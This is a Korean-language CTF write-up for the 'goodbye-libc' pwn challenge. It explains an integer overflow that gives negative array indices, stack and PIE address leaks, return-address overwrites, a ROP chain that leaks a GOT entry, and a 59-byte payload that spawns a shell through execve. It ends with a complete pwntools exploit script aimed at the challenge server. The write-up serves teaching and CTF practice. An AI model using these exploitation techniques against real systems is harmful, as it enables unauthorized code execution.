Goodbye libc

개요

goodbye-libc는 PIE가 적용된 계산기 바이너리다. 표준 glibc 대신 libbye-libc.so를 사용한다는 점이 특이한데, 이 때문에 흔히 쓰는 GOT overwrite가 그대로 통하지 않는다. 대신 풀이의 핵심은 input_index()에 숨겨진 정수 오버플로우다. 이를 통해 nums 배열에 음수 인덱스를 만들고, _start 스택 프레임 바깥을 자유롭게 읽고 쓸 수 있게 된다.

최종 exploit의 흐름은 다음과 같다.

  1. PRINT_NUM OOB read → PIE base & stack 주소 leak
  2. WRITE_NUM OOB write → write_num() 리턴 주소 변조
  3. 겹치는 버퍼를 활용해 exit@got leak
  4. libbye-libc.so base 계산
  5. index 3 trick으로 rbp 재정렬
  6. 59바이트 payload → execve("/bin/sh", 0, 0)

취약점 분석

정수 오버플로우 in input_index()

input_index()는 입력값을 int choice에 받아 아래와 같이 검사한다.

if (choice <= 3 && choice >= -2) {
    return choice - 1;
}

32비트 int의 wrap-around 특성 때문에, 충분히 큰 십진수를 입력하면 실질적으로 음수 인덱스가 된다.

입력값실제 인덱스
10
21
32
0-1
4294967295-2
4294967294-3

WRITE_NUM은 음수 인덱스를 막지 않는다

WRITE_NUM 분기는 index == -1 같은 별도의 경계 검사 없이 곧바로 write_num(&nums[index])를 호출한다.

case WRITE_NUM:
    print("Select index to write to [1-3]: ");
    index = input_index();
    write_num(&nums[index]);
    break;

따라서 nums[-1], nums[-2], nums[-3]에 임의 값을 쓸 수 있다.

nums의 스택 레이아웃

초기 leak으로 얻는 stk_startrbp 값이다. 이를 기준으로 nums의 위치를 정리하면 다음과 같다.

nums[0]  = stk - 0x38
nums[1]  = stk - 0x30
nums[2]  = stk - 0x28
nums[-1] = stk - 0x40
nums[-2] = stk - 0x48   ← 코드 주소 (PIE leak)
nums[-3] = stk - 0x50   ← saved rbp (stack leak)

음수 인덱스가 리턴 주소, saved rbp, 그리고 다음 stage용 스택 슬롯과 겹친다는 것이 이후 단계의 핵심이다.

Exploit 단계별 설명

1단계 — PIE base & stack leak

leak  = pri(2**32 - 1)      # nums[-2] → 코드 영역 주소
exe.address = leak - 0x1CBD # PIE base 계산
 
stack = pri(2**32 - 2)      # nums[-3] → _start의 rbp

두 번의 OOB read만으로 PIE base와 stack 주소를 모두 확보한다.

2단계 — exit@got leak & libbye-libc.so base 계산

핵심 아이디어: write_num()의 리턴 주소를 input_num+8(아래 read() 직전 코드)로 덮어, 함수가 반환될 때 루프로 복귀하는 대신 read() 코드로 진입하게 만든다.

; input_num+8 (READ_CODE)
0x12a6: lea rax, [rbp-0x4c]
0x12aa: mov edx, 0x40
0x12af: mov rsi, rax
0x12b2: mov edi, 0
0x12b7: call read@plt

여기서 버퍼 시작 주소는 [rbp-0x4c]이고, call read가 push하는 복귀 주소는 [rbp-0x48]에 놓인다. 즉 버퍼와 read()의 리턴 주소가 8바이트만큼 겹친다.

따라서 우리가 보내는 64바이트 payload는 버퍼 데이터이면서 동시에 read() 이후 실행될 ROP 체인이기도 하다.

Phase 1 payload

READ_CODE = exe.address + 0x12a6
 
rop  = b'\x00' * 4
rop += p64(exe.address + 0x1440)   # pop rbp ; ret
rop += p64(stack - 0x28)           # 새 rbp
rop += p64(exe.address + 0x1330)   # mov rax, [rbp-8] ; jmp leave;ret
rop += p64(exe.got.exit)           # [stack-0x30]에 위치할 값
rop += p64(stack)                  # leave가 복구할 rbp
rop += p64(exe.address + 0x1cd3)   # mov rsi,rax ; mov edi,1 ; call write@plt

실행 순서를 따라가면 다음과 같다.

  1. wri(-2, READ_CODE)write_num()의 리턴 주소를 READ_CODE로 교체
  2. 다음 read()가 payload를 수신하면서 자신의 복귀 주소를 pop rbp ; ret으로 덮음
  3. pop rbp ; retrbp = stack-0x28
  4. mov rax, [rbp-8]rax = [stack-0x30] = exit@got
  5. leave ; retrbp = stack
  6. 0x1cd3 진입 → rsi = rax, edi = 1, edx = 64
  7. 결과적으로 write(1, exit@got, 64) 실행

스크립트에서는 leak된 앞 6바이트를 파싱해 libbye-libc.so base를 계산한다.

leak = u64(r.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.sym.exit

3단계 — index 3 trick으로 rbp 재정렬

Phase 1이 끝난 직후, 최종 payload를 보내기 전에 한 가지 준비가 필요하다.

wri(3, stack + 0x28)

이 쓰기 동작은 현재 write_num() 호출이 끝날 때 saved rbpstack+0x28이 되도록 설정한다. 이후 호출에서 필요한 스택 슬롯들이 원하는 위치에 오게 되고, nums[-2]로 실제 리턴 슬롯을 다시 덮을 수 있게 된다.

4단계 — pop_rdx → READ_CODE 체인 구성

주변 슬롯을 미리 채운다.

wri(0, 0)          # pop_rdx가 소비할 값
wri(1, input_num)  # 다음 ret의 목적지 = READ_CODE
wri(2, 2)          # dummy

그리고 현재 write_num()의 리턴 주소를 pop_rdx로 덮는다.

wri(2**32-1, pop_rdx)

함수 반환 이후의 흐름은 다음과 같다.

ret → pop_rdx → ret → READ_CODE

왜 바로 READ_CODE로 가지 않는가?
직접 진입하면 마지막 read()가 복귀할 때 필요한 두 슬롯(saved rbp와 return address) 중 하나가 버퍼 바깥에 위치해 체인이 불안정해진다. pop_rdx ; ret을 한 번 거치면 rsp가 0x10바이트 앞으로 진행된 상태로 READ_CODE에 진입하게 된다. 그 결과 마지막 read()가 끝난 뒤 사용할 두 슬롯이 모두 버퍼 안으로 들어오고, 최종 payload가 둘 다 덮을 수 있다.

즉 여기서 pop_rdxrdx 값 설정보다 스택 정렬용 가젯으로서의 역할이 더 크다.

5단계 — 59바이트 최종 payload

binsh = stack - 0x24
 
rop  = b'/bin/sh\x00'
rop += b'EEEEEEEEFFFF'
rop += p64(pop_rdi_rsi_rdx)
rop += p64(binsh)
rop += p64(0)
rop += p64(0)
rop += p64(syscall)[0:7]

/bin/sh\x00 문자열은 마지막 read()의 버퍼 시작 위치, 즉 stack-0x24에 착지한다.

왜 payload를 정확히 59바이트로 맞추는가?
이 바이너리에는 pop rax ; ret 같은 편한 가젯이 없다. 대신 read()는 실제로 읽은 바이트 수를 rax에 반환한다. Linux x86-64에서 execve의 syscall 번호가 59이므로, payload 길이를 정확히 59바이트로 맞추면 rax = 59가 자연스럽게 세팅된다.

syscall 주소를 7바이트만 쓰는가?
payload 길이를 59바이트로 유지하기 위해 마지막 1바이트를 제거한다.

rop += p64(syscall)[0:7]

최종 레지스터 상태는 다음과 같다.

레지스터
rax59 (execve syscall 번호)
rdi/bin/sh 문자열 주소
rsi0
rdx0

Exploit Code

#!/usr/bin/env python3
 
import re
 
from pwn import *
 
exe = ELF("./goodbye-libc_patched")
libc = ELF("./libbye-libc.so")
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
 
context.binary = exe
context.log_level = 'info'
 
def conn():
    if args.LOCAL:
        r = process([exe.path])
        return r
    return remote("streams.tamuctf.com", 443, ssl=True, sni="goodbye-libc")
 
def wri(index, value):
    r.sendlineafter(b'Enter input: ', b"1")
    r.sendlineafter(b'Select index to write to [1-3]: ', str(index).encode())
    r.sendlineafter(b'Select value to write: ', str(value).encode())
 
def pri(index):
    r.sendlineafter(b'Enter input: ', b"6")
    r.sendlineafter(b'Select index to read from [1-3]: ', str(index).encode())
    r.recvuntil(b"Value written: ")
    return int(r.recvline().strip())
 
def debug():
    gdb.attach(r, """
        b *input_num+8
        b *input_num+25
        c
    """)
    pause()
 
def main():
    wri(1, 1)
    wri(2, 2)
    wri(3, 3)
 
    # leak pie base address
    leak = pri(2**32-1)
    exe.address = leak - 0x1CBD
    log.info(f"PIE base: {hex(exe.address)}")
    
    # leak stack
    stack = pri(2**32-2)
    log.info(f"stack leak: {hex(stack)}")
    stack_28 = stack - 0x28
    log.info(f"stack-0x28 address: {hex(stack_28)}")
    
    # leak libc
    input_num = exe.address + 0x12a6
    rop = b'\x00'*4
    rop += p64(exe.address + 0x1440) # pop rbp; ret
    rop += p64(stack_28) # stack-0x28 -> rbp
    rop += p64(exe.address + 0x1330) # mov rax, qword ptr [rbp - 8] ; leave ; ret
    rop += p64(exe.got.exit) # got_exit -> [rbp - 8]
    rop += p64(stack) # stack
    rop += p64(exe.address + 0x1cd3) # exe+0x1cd3 = _start+1927 = mov rsi,rax; mov edi,0x1; call write@plt
    # rop = rop.ljust(64, b'\x00')
    wri(2**32-1, input_num)
    r.send(rop)
    leak = u64(r.recv(6).ljust(8, b'\x00'))
    libc.address = leak - libc.sym.exit
    log.info(f"libc base: {hex(libc.address)}")
    
 
    # rop to execve("/bin/sh", 0, 0)
    pop_rdx = libc.address + 0x1041 # pop rdx; ret
    wri(3, stack+0x28) # revoke rbp
    wri(0, 0)
    wri(1, input_num)
    wri(2, 2)
 
    wri(2**32-1, pop_rdx)
    time.sleep(1)
    # pause()
    rop = b'/bin/sh\x00'
    rop += b'EEEEEEEEFFFF'
    # execve("/bin/sh", 0, 0)
    binsh = stack - 0x24
    pop_rdi_rsi_rdx = libc.address + 0x103f # pop rdi; pop rsi; pop rdx; ret
    syscall = libc.address + 0x1039 # syscall; ret
    log.info(f"syscall address : {hex(syscall)}")
    rop += p64(pop_rdi_rsi_rdx) # -> read function return address
    rop += p64(binsh) # "/bin/sh\x00" -> rdi
    rop += p64(0) # rsi = 0
    rop += p64(0) # rdx = 0
    rop += p64(syscall)[0:7] # syscall; ret / use only 7 bytes to make payload length 59
    
    log.info(f"len of rop payload : {len(rop)}")
    
    r.send(rop)
 
    r.interactive()
 
 
if __name__ == "__main__":
    r = conn()
    main()